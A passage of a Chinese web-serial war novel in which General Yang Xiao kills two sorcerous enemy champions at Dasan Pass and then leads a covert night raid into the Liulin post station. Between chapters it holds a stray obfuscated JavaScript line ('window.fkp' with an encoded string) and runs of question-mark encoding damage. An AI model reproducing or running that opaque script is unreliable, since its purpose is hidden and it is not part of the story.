匆匆的吃过早饭后,杨笑到各处查看战备和修复的进度。受损的城墙经过一夜的抢修已经修复的差不多了;城墙上的礌石滚木,弓弩箭矢,刀枪桐油等物品也已补充齐全;被撞坏的城门也得到了修缮;那两扇钉栅虽然被火烧过,还被狄绒族人给砍了个大洞,但好在框架还算结实,稍加修理一下还能凑合着用;当他看到那架连夜赶制出来的抛石车时更是连连称赞,说这件东西做的正是及时。 杨笑把整个大散关转了一圈下来,对这里的地形战备和关键点总算是在心里有了个大概的了解。在他的提意和几位参将的补充下,再结合现在关内的情况,杨笑对大散关的布防做了一点小小的改动。除了把防守的兵力做了调整外,最重要的是把原有的几架抛石车中抽出来一架,再加上新赶制出来的抛石车,把两架抛石车分别布置到了大散关两侧的山顶上。这样一来既能打击更远范围内的敌人,又能打击城墙下的敌人,真正做到了攻防兼备。 与几位副将参军正讨论间,一名参将送来了昨天的战损统计:“昨日一战我军的损失不可谓不大,死伤共有三千一百余人。截止今早除了关防正使曲将军阵亡外,三位副将中的两位也是一死一伤;参将伤两人阵亡五人;各级校尉伤十一人阵亡十九人;各营军卒杂役还有后备军卒共伤三千七百余人,阵亡三千二百余人;其中有两营是全营阵亡,无一人存活。还有四百七十多人被大火烧的实在是认不出来了,只能大致的推断出来有三十多人是我们的人,其他的……。”那参将说到这里轻轻地摇了摇头。 在场之人听到这些后全都是一阵沉默。 “我们现在还有多少人马?”杨笑问道。 那参将回道:“大散关原有驻军一万五千多人,前前后后死伤约七千多人,算上陆续赶来的援军还有后备军,截止到今天早上我们还有一万两千多人。” “三天七千多人,只昨天一天就死伤了三千多人,敌人这一次来的好凶猛啊……!”杨笑起身望向的峡谷的远处,若有所思道。 ……。 ……忙活了大半天,总算是把事情干的差不多了,临近中午的时候,十来个军卒干完手头上的活后,席地而坐打算歇一歇先喘口气。人在扎堆儿的时候就喜欢闲聊,一群人声情并茂的聊着昨天晚上发生的事情,那股子劲儿,就好像是他们跟那恶鬼邪魔大战了三百回合似的。聊着聊着就聊到了狄绒族身上,正当大家在心里奇怪这狄绒族大张旗鼓的一连攻了几天城,怎么今天一直到现在也没个动静的呢? 唉!真是说什么它就来什么。就在大家伙儿都在奇怪这狄绒族大军今天怎么一直没动静的时候,城头上的号角吹响了。 “呜……。” 号角声一声接着一声,大散关里的所有人都紧张了起来。敌人一连数日都没有攻下大散关,接照这段时间狄绒族的做战习惯和以往的经历来看,今天的攻势只会比前几天更猛烈。一直到今天上午,赶到大散关的西梁后备兵员也只不过陆陆续续的到了有四五千人,以现在的情况看也不知道还能挡住敌人的几次攻击。所有人都明白今天这一仗是万分关键的一仗,所有的人都做好了决一死战的准备。 听到号角声后,正在城墙下清理尸体的西梁军卒立刻丢下手里的死尸,跑进城门里并关好城门;负责守备城头的军卒立刻以最快的速度赶到了自己的位置上;做为后补力量的军卒也全都做好了准备,时间准备着冲上去顶替袍泽的位置与该死的狄绒鞑靼们拼命;城墙后的抛石车也已经装填好了石块,卯足了劲儿,随时都可以把大块大块的石头抛到敌人的头顶上,把他们全都砸个稀巴烂。整个大散关在数十息的时间里全都做好了战斗的准备。 黑压压的狄绒族大军一眼望不到尽头,城墙上的西梁军全都屏住呼吸,紧张的气氛充满了整个大峡谷。不过,令所有人都感到意外的是,狄绒族人并没有发起进攻,而是远远的停了下来。西梁军们你看看我,我看看你,谁也搞不明白鞑靼们这是在打什么鬼主意。不过,很快答案就出现了。 一胖一瘦,一高一矮,两个头陀模样的人从狄绒族的大军里不慌不忙的走了出来。 那瘦高个头发卷曲,高鼻梁,深眼窝,小胡须,尖下巴,瘦骨嶙峋,皮肤干瘪松垮。 那矮胖子短胳膊短腿,小眼睛小鼻子,就差胖成球了。 城墙上有从砾谷关和蘑菇岭退下来的人立刻认出了这两个家伙:“是他们!先前就是这两个妖人捣毁城墙砸烂城门的……。” 两个人来到城墙下站定身形后,那矮个的小胖子倒背着双手冲着城墙上叫着:“上面的人听着,劝你们快快开城投降,否则的话别怪我兄弟二人大开杀戒!” 那矮个的小胖子说完后就盯着城墙上面等待回音,可等了好一会儿也不见上面有动静。那胖子也不觉得脸上无光,他冲身边的瘦高个一歪脑袋“嗯”了一声。瘦高个会意后掂了掂手上那一对硕大无比的双刃斧,然后身体下蹲双足踏地,一蹦蹦起五六丈高,抡起斧头就往城墙上砍了下去。 对于这两个家伙的事情杨笑早已知情,在传回圣京的信息中就有关于狄戎族有异人相助的情报,而狄绒族之所以能够轻易通过砾谷关和蘑菇岭,也全拜这两个异人所赐。杨笑自从到了大散关那天开始,就一直在等着这两个人露面,今天总算是见到活的啦。 眼瞅着有人都打到头上来了,杨笑又怎能坐视不理,只见他一步踏出大喝道:“口出狂言!先问过杨某手里的刀吧!” 打架这种事,甭管打不打得过,首先在气势上就不能先输给对方。 杨笑从城墙上一跃而出与那瘦高个子对撞在一起。杨笑出手的时机算计的恰到好处,此时那瘦高个的双斧正举到最高处,正是旧力已尽新力未发的时候,杨笑跃上前去双足踏在他的当胸一脚就把他给踹了下去。 那瘦高个的身手倒是不错,就是脑袋瓜子似乎不是太灵光。他落在地上后“蹬蹬蹬”后退几步,把一只脚往身后一踏止住了身形,然后在嘴里“嗯!?”了一声,看上去似乎是不太服气,然后他怒吼一声挥起斧头就向杨笑冲了过去。 杨笑这时候双脚刚刚着地,见那瘦高个提着斧头又冲了上来,把脚在地上一点,身姿轻盈的向后飘去。瘦高个一斧子劈在了空气中,自然不会就此罢休,纵身一跃就又向杨笑砍了过去。 那对沉重的巨斧夹带着风声向杨笑接连砍来,每次落下都似有万钧之力,这种情况下与对方硬碰硬显然不是明智之举。杨笑避开他的锋芒,用巧劲儿与那大个子周旋起来,好能从中找出他的破绽。 ?杨笑一次次轻松躲过,瘦高个次次都没能砍中,急的他脸都有些涨红了。那瘦高个大吼一声,又是一次双斧齐齐落下,杨笑这时候已经退到了城墙跟,再没有后退的余地了,那双斧头砍下来的势头又十分的凶猛,硬接可不是个好办法,杨笑只得闪身向一旁躲开。 “轰隆”一声,石屑飞溅中那双斧头擦着杨笑的肩膀深深的砍进了城墙里。瘦高个大叫一声把斧头从城墙里拔了出来,待杨笑扭头看去时,只见包在城墙外面的砖石“哗啦啦”的碎落了一地,厚重结实的城墙竟是被那瘦高个一斧子劈出了一人多高的大深坑,填充在里面的粘土碎石也露了出来。?? 咱们有些看官可能不太清楚,古时的城墙建造的那是真叫一个结实,又高又宽不说,光是包在外面的石头青砖少说也有四五尺厚。一尺是多少呢?接照咱们现在的度量衡来计算的话,一尺就是三十三点三三三……厘米,四五尺那就是一米五左右。这一斧子的威力可想而知! 杨笑看看那个城墙上的洞,又看看面前的这个大个子。情报上说此人力大无比,一双黑板斧有开山劈石之威。关于这一点,虽然说有点夸大,但也基本算是坐实了。 怪不得他跳起来不是去砍人,而是要去砍那堵墙,这要是任由他砍下去的话,多么厚重结实的城墙也受不了啊!也幸亏杨笑刚才留了个心眼没有跟他硬碰,这要是让他一斧子砍实了,只怕杨笑再多拿几把刀也得被砍断唠。 杨笑在心里暗自侥幸的同时,也意示到自己对这些修行之人的神秘之处了解的还是太少了。就拿最近这次来说吧,只要自己的气机一经外放,对方立刻就能看出自己的境界如何,而自己却只能看出对方身上气机的强弱,至于人家具体的修行境界什么的却搞不清。 杨笑在心里这么想着,手上的动作可一点也没停,他必须赶快转守为攻,尽快的解决掉眼前的这个家伙。一个大个子就已经这么厉害了,不要忘了,在旁边还有一个矮胖子在虎视眈眈呢!而且,那个矮胖子看起来一点也不比这个瘦高个弱,说不定还要强上几分,待会儿要是两个人联手的话,那可就麻烦了。 西梁军的情报上并没有提到此人有什么异于常人之处,只说此人每次都只是站在一旁观阵,从来没有人见到过他出手,可杨笑却是清楚,越是这样的人就越是难缠。 想到这里杨笑手上的刀锋一变,脚步迈动间攻势一下子变的凌厉了起来。打了半天,对手的底细也算是摸的差不多了,该是出手的时候了。那瘦高个别看力气不小,可脑子的反应却有点慢,身法也有些跟不上,杨笑采取主动进攻的打法后很快就占据了上风。 就在这时候,那矮胖子见自家兄弟迟迟不能得手不说,现在反而还被对方压着打,于是他不奈烦道:“麻老二,你倒底行不行?还不快点把这个碍事的小子给结果了!” 原来这瘦高个的名字叫做“麻老二”。麻老二挡下杨笑的一刀后气呼呼的叫道:“你就只会在那里说风凉话,没看到我在干什么嘛?你要是再在那边看戏的话,老子就不干了!” 那矮胖子见瘦高个不高兴了,于是就说道:“好!我就来帮你一把。” 听到二人的对话后杨笑顿时心中一紧:“倒底还是要联手了吗?” 可让杨笑奇怪的是,那胖子说完后却并没有立刻冲上来加入战团,而是站在那里不慌不忙的从怀里掏出一张黄纸片来。 胖子双手合十将那张黄纸片夹在两只小胖手之间,嘴唇蠕动,似是念念有词。很快在他的双掌之间便有丝丝缕缕的金光亮起。 金光越来越盛,当从他的指缝掌缘等处全都有一道道金光冒出时,那胖子把双掌一摊,变合掌为托掌,而那片闪烁着金光的黄纸片就那么直挺挺的立在了他的手上。 胖子一手托纸,一手两指并拢在面前虚点几下后,然后双眼猛然一瞪杨笑,再伸手用那又胖又短的手指头冲着杨笑凌空一点,嘴里轻呼一声:“着!”那片会发光的黄纸就“嗖”的一声化作一道金光向杨笑飞来。 那道金光的速度简直迅捷异常,眨眼间就飞到了杨笑的跟前,杨笑仓促之间没能躲过,被它一下打在后背上。 “砰”的一声,意料之中的血光四溅并没有发生。金光在打中杨笑的同时,在杨笑身上被打中的地方也同时有一片五彩霞光一闪而逝。杨笑被那道金光打了个趔趄,那道金光也被弹到了半空中。 “嗯?” 那胖子见自己的一击并没有把杨笑怎么样,而受了一击的杨笑依然生龙活虎的跟那瘦高个斗在一起,这让他在心中惊奇不己。自己这一招绝技向来是无往不利,今天这是怎么了?难不成刚才是自己眼花? “再来!” 那胖子把手指一点,那道金光在半空中转了个弯后又向杨笑袭来。 “砰!”这一次的力道更大。金光四溅,霞光闪动间,杨笑差点就被打了个跟头。 “啊!”这回自己可是看的清清楚楚。 那胖子又惊又喜,他大声的冲瘦高个叫道:“麻老二!这小子身上有护身的法宝,千万别让他跑了!” 麻老二“啊?”了一声:“怪不得看不清他身上的气机,原来是有法宝护身。哈哈!这次真是赚大发了。” 那瘦高个大叫一声,手上的功夫再加几分,把一双巨斧轮的如同两个车轮一般不断的向杨笑砍过来。 “这小子身上一定还有其它好东西。麻老二,速战速决,不要跟他客气。” “好嘞!” 在二人的联手进攻下杨笑立刻身陷险境。 虽然那道神秘黄纸化成的金光不能把自己怎么样,最多也就是打自己一个跟头,但是不要忘了,旁边还有一个家伙把一双斧头轮圆了朝着自己身上不断的砍过来。既然那道神秘的金光破不了自己的防御,这两把斧头应该也不能,可防得住金光和利刃的穿刺却防不住从那上面传来的强劲力道,就看那斧头上夹带着的力道,要是被打中了也非得把自己震个半死不可! 杨笑左躲右闪,被打倒在地后便立刻就势一滚然后又顺势站起身来。 可你躲得了这一次躲得了那一次,却躲不过每一次。就在杨笑再次被打翻在地,还不等他再次立起来时,一道白刃已冲着他的当胸砍了下来。杨笑在地上一个驴打滚儿,险之又险的躲过了这一斧,可立刻就又是一斧子砍了下来。势大力沉的斧头一下接一下的砍下来,跟本不给他丝毫喘息的机会,杨笑只好在地上一直翻滚出老远一段距离。 就在这千钧一发之际,“啊呜”一声,一个巨大的黑影飞扑而来,将那个操控金光的胖子一口吞了下去。 原来那胖子在操控黄纸所化的金光时必须要全神贯注,一步也不能挪动,就更不要提干其它的事情了。直到被及时出现的小黑一口吞下肚时,也只来得及发出半声惨叫来。 那叫做麻老二的家伙一见同伴命丧虎口,立刻丢下杨笑调头就跑。这时候杨笑又怎么能放过他?杨笑立刻从地上爬起来追上前去,一个手起刀落就把那颗大好的头颅给砍了下来。 原本在城墙上看的提心吊胆的西梁军们,见此刻他的杨将军大获全胜,立刻爆发出了一片欢呼声:“杨笑军威武!” “杨将军战无不胜!” “……。” 对于将士们的欢呼,杨笑是一点也高兴不起来。刚才自己被打的有多狼狈,他自己的心里最清楚不过了。 他摸了摸身上被那张奇怪的黄纸片打中的地方,并没有什么不舒服的感觉,甚至那些地方连一点皮也没擦破。这一回他可算是真真切切的感觉到那张所谓的,护身符的存在了,刚才的一片片霞光他可是看的清清楚楚。 杨笑耸耸肩,活动了一下身体后,走过去从地上捡起了那张神秘的黄纸片。 此时没了主人的操控,纸片已经不再发出任何光芒了,而是变的和一张普通的纸片差不多。杨笑翻看了一下那张黄纸片,见上面画了许多奇怪的红色线条,那些线条画的曲曲弯弯的,至于到底画了些什么,杨笑一个也认不出来。 他把那张纸片抖了抖后,小心的踹进了怀里,又去提起那对巨斧,然后就跳到小黑的背上转身离开了。 那边西梁军欢呼胜利,这边狄绒族的主帅可给气坏了。只见他在大腿上一拍,气急败坏的叫道:“我就说指望着这些来历不明的家伙们干不了大事!一个个全都成事不足,败事有余!”他把手里的马鞭一扬,命令道:“来呀!给我攻城!” 狄绒族大军再次发动了进攻。受到鼓舞的西梁军士气高涨,严阵以待。 抛石车不断的把石头抛射出去,在抛石车的掩护下狄绒族大军一步步靠近大散关。就在他们把一块块石头往大散关的城墙上打的不亦乐乎的时候,“咔嚓”一声,一块不知道从哪里飞来的大石头砸中了其中的一架抛石车,把那架抛石车的半拉给砸了个粉碎,连带着还砸死了两个负责操作抛石车的军卒。 就在这些狄绒族人惊慌失措时,又一块石头落了下来,不过这一次并没有砸到什么东西。狄绒族人这才搞明白是怎么一回事。 原来是西梁军那两架挪到山顶上的抛石车,此时已经部署安装到位了。在这高高的山顶上居高临下,抛石车可以把石头抛射的更远,而且在山顶上到处都是碎石,想要打完都难。 狄绒族人的凶悍早已不是一天两天的事情了,失去抛石车的掩护并不足以吓退他们,城墙上再次爆发了激烈且惨酷的战斗。战斗一直打到了日落西山才暂时平息了下来,不过这次狄绒族人并没有讨到什么便宜, 此后的几天时间里,狄绒族大军每天都要发起不止一次进攻,双方全都损失惨重。不过幸好西梁军这边有源源不断赶到的后备军补充进来,才不至于被敌人攻破防御。 几天后,战事转入了相持阶段,双方僵持在这里谁也不肯后退半步,而这一僵持,就是大半个月。 在这大半个月的时间里又会发生哪些让人意想不到的事情呢?欲知后事如何,且听下回分解! ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十八回 夜袭柳林驿 ?一万两千字大章送上。 大散关。 在经历了连番的鏖战后,狄绒族的大军见讨不到什么便宜,就暂时放弃了强攻,在大散关外驻扎了下来。就这样,交战的双方暂时进入了相峙的阶段。 ???????虽然杨笑率军阻挡住了大散关外的敌人,但是战事并没有朝着有利于周王朝的方向发展。 南面的雪藩族已经攻破了望山府,很快就会直入有着“西梁米仓”、“关外小江南”之称的关西平原;东面的飞石城也是岌岌可危,随时都有被攻克的可能,那样的话,狄绒族就可以长驱直入从而威胁到西梁境的中枢之地:“西梁城”。 ???????本来西梁就已是兵力空虚,现在更是把所有的力量都派到了边境上,一但狄绒族人冲破防御,西梁城无兵可守,被敌人攻破也只是早晚的事情。如果西梁城丢了,那整个西梁境离沦陷也就不远了。 杨笑必须想办法尽快击退面前的敌人,这样才能有机会腾出手来对付别处的敌军。 ???????防守从来不是杨笑的性格,主动出击才是他的本性。从来到大散关那天开始,杨笑就在思考着怎样才能把这些狄绒族人给赶出去,只是战事过于紧张危急,西梁军一直处于防守的状态,所以一直也无法实际的实施。不过现在好了,经过这段时间的不断补充,大散关里的人马已有八九万之多,而狄绒族的暂时休战也给了杨笑机会。 ???????关于大散关所处峡谷的地形,只要是驻扎在这里的军卒,每一个人都了如指掌,所以,现在的关键之处是要摸清敌人具体的防御部署。经过近半个月的不断侦查,终于大致上摸清了敌人的防御情况。 ???????青铜峡地形狭窄修长,能够用来驻军的地方并不多,狄绒族的大军现在就串联分散驻扎在峡谷中,大致上形成了三大三小六处据点。这些个地方相距的距离远近不同,在它们之间形成了几个防守的薄弱环节,杨笑他们现在要做的就是抓住这些薄弱环节,斩断它们之间的联系,从而为自己创造机会各个击破。而在这其中有一个最关键之处,那就是柳林驿。 ???????柳林驿是一处建在大散关和蘑菇岭中间的小驿城,原本是供两关之间巡视的军卒们临时休息的地方,兼顾为大散关预警之用,也算是大散关的附属设施之一。因为地处两关之间,来往的客商和往边境上换防的军队经常要在这里休息,所以,后来经过扩建就成了现在这个兼顾驻军和驿站功能的小驿城了。 ???????现在柳林驿所处的位置就十分的巧妙,它把狄绒族大军大概一两万的兵力隔离在大散关的这一面,与另一处驻地间的沟通联系则只能通过一条不宽的驿路来进行。这条路几乎是狄绒族大军几处驻地间距离最远的路了,一去一回至少需要两个时辰。 ???????关键之处找到了,不过另一个难题又摆在了杨笑的面前:在狭窄的峡谷中,要怎样才能神不知鬼不觉的出现在柳林驿呢? ???????杨笑苦思冥想不得计策,就在他对此事一愁莫展之时,一名军中老卒被带到了他的面前。 “将军,他说他知道一条小路能绕到柳林驿。”一名偏将拉着那老卒向杨笑大喜道。 ???????老卒约么五十来岁,个头不高,看上去有些消瘦,不过身上的肌肉却很结实,尤其是那双眼睛十分的有神,在饱受风吹日晒的面孔上很是显眼。 杨笑一听说有人能解自己苦思不得的难题,立刻“噌”的站了起来:“当真?” ???????“山字营二等军卒见过将军!”老卒上前向杨笑见礼。 ???????不等那老卒拜倒在地,杨笑已然上前扶住了老卒:“老哥不必多礼。”杨笑迫不及待的问道:“你说你知道能绕到柳林驿的路?” ???????那老卒回答:“不敢欺瞒将军,小人确实知道一条直通柳林驿的小路,那条路是小人年轻时上山打猎偶然间发现的。不过……。”老卒说到这里犹豫了一下。 ???????杨笑连忙问:“不过什么?” ???????老卒接着说道:“不过那条小路已经有二三十年没有人走过了,不知道还能不能走。” ???????虽然那条小路多少年都没有人走过,但有总比没有强,杨笑立刻要那老卒带路,他要亲自前往一探究竟。 ???????老卒带着杨笑等人出了大散关,往前走了有二里多路后便拐进了一条小山沟里,从这条小山沟一路曲曲弯弯的上到了山顶,越过山顶后在山的背面又一路歪歪扭扭,深一脚浅一脚的往北面绕去。 ???????说是一条山路倒不如说是一条由雨水冲涮,野兽踩踏出来的不是路的路。那老卒在前面领路,杨笑等人紧随其后。一开始的小路还好些,可能是常有猎人上山时从这里经过的原因,小路虽说难走了些,但好歹还能看出来一条山间小路的样子。可走到后来哪里还有什么路的影子?全都是在荒草密林和乱石堆里没路找路。而且一路上的蚊虫叮咬也颇为烦人。二三十年来的风雨侵蚀让山间的地貌早已有了许多的变化,其间因为走错路又多次折返,更因为不知多久前的塌方滑披而导致遇上断头路,从而不得不绕道重新找路。不过,总算是功夫不负有心人,寅初时分,透过树丛间的枝叶,总算是看到了山下的柳林驿。 ???????到了这里就好办多了,老卒还清楚的记得下山的路。只见他四下里看了看,然后带着大家绕过山脊来到一道约有几十丈高的悬崖前,在那里找到了一条一人宽的裂缝。 众人看看高耸的悬崖峭壁,又看看山下的驿站,再看看眼前的山岩裂隙,一时间面面相觑,谁都没有说话。 只见那老卒下到石缝间,用双手双脚撑住两侧的山岩,手脚并用,一点一点的顺着这条裂缝下到了山脚下。有了老卒的示范,众人一个个全都有样学样,先后顺着石缝滑了下去。 顺着石缝滑到底后是一道半丈多宽向内倾斜的山石,外高内低的山石正好挡住山下的视线。这一道山石有几十丈长,就像是一道台阶,又像一条腰带横亘在半山腰上。众人猫着腰顺着这道山石往前走了百十来步,在山壁上出现一个不大的洞口。洞口有两人宽,齐胸高,稍稍低头弯腰便可轻松进入。 初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池……呃……阡陌交通……?……鸡犬相闻?……“啊呸!不好意思,串台了。” 进得洞口有三四步,地势就开始往下走,并且山洞也越来越宽敞,洞顶也越来越高,到最后就像是身处一间大厦之中。 杨笑借着火把照出的光亮环顾一下宽大的洞庭说道:“嗯,是个不错的地方,到时候可以把人先藏在这里。” 山洞的出口跟一间小草房差不多,比起入口来就要宽敞多了。洞口外爬满了藤蔓,再加上茂密的林木,横生的杂草还有大大小小的山石,就算是走到近前如果不留意的话也是不太容易发现这里还有个山洞的。 到了这里也只是才过了半山腰多一点,再往下走一段陡峭的山坡才绕能到山脚下。 下到山脚,正好处在山体的侧面,绕过山脚后来到一条河沟里。 平常河沟里的水充其量也只能算是一条稍大点的溪水,只有在每年的雨季时才会涨水,那时的温柔溪流就变成了汹涌的山洪。 年复一年被山洪冲涮的河沟就像是一道伤疤一样延着山脚一直通到青铜峡外。 ???????河道有两丈多深,两边都是刀劈斧剁般的岩石,就连河道里也到处都是房屋般大小的巨石。满是巨石的小山沟就像一座谜宫一般,老卒带着大家在里面七拐八拐的走了一段后在一块与房子还要大的巨石下停了下来。他探出头往前面看了看,然后指着前面对杨笑小声的说道:“那儿就是柳林驿了。” ???????此时天色将暗,杨笑顺着老卒手指的方向望过去,从这里透过两块巨石间的沟壑远远的可以看到柳林驿驿墙隐约的一角。 柳林驿并不大,高高的驿墙圈住了不足半里方圆的地方,把一座座房舍牢牢的护在了里面。 ???????“要怎么样才能进到里面?”杨笑看着前方的柳林驿问道。 ???????“前面的驿墙下有一条小水沟,是驿站的排水口,从那儿可以钻到里面去。就是不知道鞑靼们有没有把排水口给堵上。”老卒向杨笑说道。 ???????一名侍卫把肩上背着的绳索一丢:“过去看看不就知道了。” ???????老卒一把拉住他的胳膊:“会被发现的,等天黑了再说。” ???????几个人相互看了看,点点头后又轻轻地退入了满是巨石的河道里。 ???????西梁境的秋天不比圣京的秋天,呼啸的寒风早早的就刮过了台阶山,到了夜里,峡谷中的寒风更是刮的呼呼作响。在夜色和寒风的掩护下,杨笑几个人顺利的摸到了柳林驿的驿墙下。 ???????顺着那条条小水沟他们找到了位于驿墙下的那个排水口。排水口有二三尺见方,看样子就算是个胖子也爬的进去,有水正从那个黑乎乎的洞口里沥沥啦啦的流出来。杨笑伏下身子,借着昏暗的月光看到排水口里有一排铁栅栏,不过,经历了这么多年的锈蚀,铁栅栏早已经变的腐朽不堪。杨笑试着掰了两下,铁栅栏已有些松动,看来想要通过它应该并不难。一股股阴风穿过铁栅栏从排水口里面吹了出来,伴随而来的还有一阵阵难闻的恶臭气味。透过那道铁栅栏,依稀可以看到有月光从墙的那一边照下来,看来狄绒族人并没有堵上这个排水口,这真是一个让众人高兴的好消息。 ???????……探查完毕后,众人又顺着原来的路线悄悄的退到了满是巨石的河沟里藏好,等到天蒙蒙亮时,他们又沿着来时的小路返回了大散关。 ………… ???????天渐渐的黑了,柳林驿外的那片柳树林在夜风的吹抚下摇动着身躯,发出一阵阵沙沙的声响。柳林驿之所以叫柳林驿,就是因为外面的这片柳树林。一开始柳林驿并不叫柳林驿,这里也没有什么柳树林,至于它原来的名字也早已经没人记得了,只知道当初建造柳林驿的时候,不知道是因为什么原因,运来的木材竟全都是柳木的,而负责建造柳林驿的工匠们就用这些木材,在工地外搭建了几个供他们休息的工篷。 ???????俗话说有意栽花花不开,无心插柳柳成荫。那些用来搭建工篷的柳树干柳树枝在经过了几场雨水的浇灌后,一棵棵的竟然全都生根发芽长出了翠绿的枝条来。再后来驿站建成,建造驿站的工匠们也都走了,只有留下的这些柳树越长越旺,越长越高大。再再后来,这些柳树下就成了过往客商们歇脚乘凉的好地方。 ???????慢慢的,过往的客商越来越多,小树林边也搭起了几座茶篷,人多了以后树就有些不够用了,有人就砍下来树枝插在地上当做拴马的桩子。时间长了,那些栓马的桩子还有搭茶篷的柱子又都生根发芽长出了枝条,再加上有意无意间有人再把当做拐杖的柳枝留在这里,时间一长,这片柳树林就越发的壮大了。慢慢的,这座驿站也就有了“柳林驿”这个约定俗成的名字。 ???????驿站的围墙里纵横分布着几条小街巷,就像一张棋盘一样,所有的街巷都与驿站中央的一条主街道相连通,最后通向驿站唯一的大门。驿站里除了客栈外还有不少的商铺,除此之外就全都是普通的民房了。俨然一座小城池。 ???????午夜的柳林驿,安静的就如同与这场战争没有丝毫瓜葛一样。兴许是狄绒族的统率觉得这个被重山峻岭包围的地方足够安全的原因,柳林驿外面的防御竟然松懈到形同虚设的地步,杨笑他们通过那个排水口很轻松的就进到了柳林驿里面。 ???????里面的防御要比外面严密上一些,但也仅限于与外面的情况相比了,除了不时的有人顺着街巷巡逻外就再无其它了。出于种种原因的限制,进来的人不可能太多,在躲过了一队巡逻的军卒后,柳林驿的大门就在眼前了。他们的目的是夺取并控制大门,以接应埋伏在外面的大队人马。 ???????杨笑小心的探出脑袋查看大门处的情况。一共有六个狄绒族的军卒把守着门口,下面有四个,分别站在大门的两侧,驿墙上面还有两个人扶着腰间的弯刀来回的走动着。这时一队巡逻的军卒从大门处经过,他们用狄绒族的语言与守门的人互相沟通了几句便脚步不停的离开了。 ???????“他们说的什么?”杨笑对狄绒族的语言并不精通,只能大概的听懂几个词语,具体的内容就只能靠连蒙带猜了。不过眼下这种深入虎穴的危险情况最好还是谨慎一点的好,所以他向身边懂狄绒族语言的袍泽询问道。 ???????那名军卒回答:“他们只是简单的互相打招呼,寻问彼此防区的情况,说没有发现什么异常。” ???????“只有六个人,一定还有换班的,就是不知道他们都在哪?……事态紧急,管不了那么多了,免得夜长梦多。……对!管他三七二十一,冲上去先结果了这几个狗娘养的再说。……不错!等打开了大门放咱们的人都进来后一切就都好办了……。”杨笑他们小声的商量着。 ???????“走。”杨笑把一项狄戎人的头盔往头上一扣带头走了出去。 ???????“你们回来的挺快啊,那边怎么样?”大门处一个领头的狄绒族军卒看到杨笑他们后打招呼道。 ???????“老样子,一切都好。”那名懂狄绒族语言的军卒扮做领头的队长压低了嗓子回答道。 ???????“你的声音怎么成这样了?”那看守大门的领头军卒问道。 ???????“哦,没什么。刚才喝了口水不小心呛了一下,嗓子眼儿有点缓不过劲儿来。”那假扮的军卒说着清了下嗓子还咳嗽了两声。 ???????“哦。那……。”守门的狄绒族军卒刚要开口再说些什么,只听“嗖嗖”两声,是箭矢射穿空气的声音。墙头上的两个狄绒族军卒应声掉了下来。 ???????那领头的守门军卒吃惊的回头看了一眼身后的情况,立刻就明白发生了什么情况。只见他回过头来一边去拔挂在腰里的刀一边喝问道:“你们……?” ???????“嗖嗖嗖……。”又是几道箭矢射出。刀没有拔出来,话也只喊到嘴边,然后就没有然后了。 ???????杨笑等人一击得手立刻冲上前去。一边向前冲一边撕掉了套在身上的伪装,三步两步赶到大门前把几个躺在地上还在张嘴喘气的家伙给彻底解决了。 ???????把几具尸体丢到一边,一脚踢开了滚在地上的头颅。打开大门后,一名军卒举着火把在空中按照约定好的信号晃动了几下,没一会儿,一大堆的西梁军就冲到了大门口。 ???????“外面的情况怎么样?”杨笑向带队的一名参军问道。 ???????那参军一边把一顶头盔递给杨笑一边说道:“外面一切正常,就只在茶篷里发现两个打嗑睡的家伙。” ???????“好!”杨笑把头盔带好:“一切按计划行事。你们去把守住路口;你们守住大门;你们去那边;你们去那边;其他人跟我来。” ???????众人全都分头行动。 ???????………柳林驿中央的一处建筑内。 ………这里是柳林驿的官家驿馆,是整个柳林驿里最高大,最高级的建筑。 ???????一间大厅里……。 “说吧,这么晚把我叫起来有什么事?怎么只有你自己来了?其他人呢?”正座上一个满脸凶相的魁梧男子问道。 睡的正香的时候被人扰到显然让这个男子很不高兴,此时他正一脸不奈烦的靠坐在那里跟站在下面的一个青年说着话。 ???????那青年一身黑白相间的劲装,双臂抱在胸前,长的倒是有几分人才:“我师兄他们后天就到,我受大王之命先行一步。” ???????“嗯?你从大王那里来?”一听到大王两个字那凶戾男子立刻慎重起来。不过这份慎重很快就消失不见了:“听说你跟着一位高人学了不少的本领?你也别怪我不待见你,要不是你们这些眼高于顶的所谓高人耽误事,我早就攻破青铜峡拿下飞狐州了。”男子靠回椅背上报怨道。 ???????“麻氏兄弟是桀骜不驯了些,不过你也不是没有过错。这次我带来了大王的旨意。”青年面对那凶戾男子依旧傲气十足。 ???????听到有大王的旨意那凶戾男子立刻起身走了下来。青年从腰间取出一块锦帛,那凶戾男子弯腰接了过来。 ???????………西梁军闯入柳林驿后立刻分头扑向了最近的房舍,将许多还在睡梦中的狄绒族军卒给一刀砍了,不过很快就有人发现了他们,双方纷纷发出警报并展开了激战。“叽”的一声,一颗焰火飞向了高空,“啪”的一声在天上炸出了一朵灿烂的烟花。 ???????埋伏在山洞里还有河沟里的西梁军得到信号后立刻向柳林驿包围了过来。 在空中炸开的焰火刚一熄灭,山头上也同样升起了一颗焰火。大散关的城头上,值勤的军卒看到天边的焰火后立刻挥动旗帜向城下发出了信号。八万西梁军浩浩荡荡的向柳林驿扑去。 ???????………大厅里,凶戾男子看完锦帛里的内容后面色有些难看了起来:“都是你们这帮家伙蛊惑大王,等我见到大王后一定不会让你们好过!” ???????凶戾男子的话音未落就听到一声烟花炸响的声音从外面传了进来,烟花炸出的亮光把大厅里的物品又照出来一道影子,屋内的两个人同时脸色一变。 ???????这时一名狄绒军卒慌慌张张的跑了进来:“将军,不好了,西梁兵突然杀进来了!” ???????“啊!”凶戾男子惊叫一声。 ???????不等他再开口说什么,“哐啷!哐啷!……!”几声响,一大堆西梁兵破门而入,原来是杨笑率领一队人马直扑驿馆而来。 ???????那名狄绒军卒吓的立刻退到凶戾男子的身边,抽出尖刀摆出一副搏命的架势来。谁知道刚把架势摆好,“嗖!”……“啊!”一声轻响,紧接着就是一声惨叫,那名狄绒军卒被闯进来的西梁军一箭给射倒了。 ???????这一幕让那被称作将军的凶戾男子也是瞪大了眼睛。心道:“西梁军都是这么杀伐果断吗?刚一个照面就放箭杀人?” 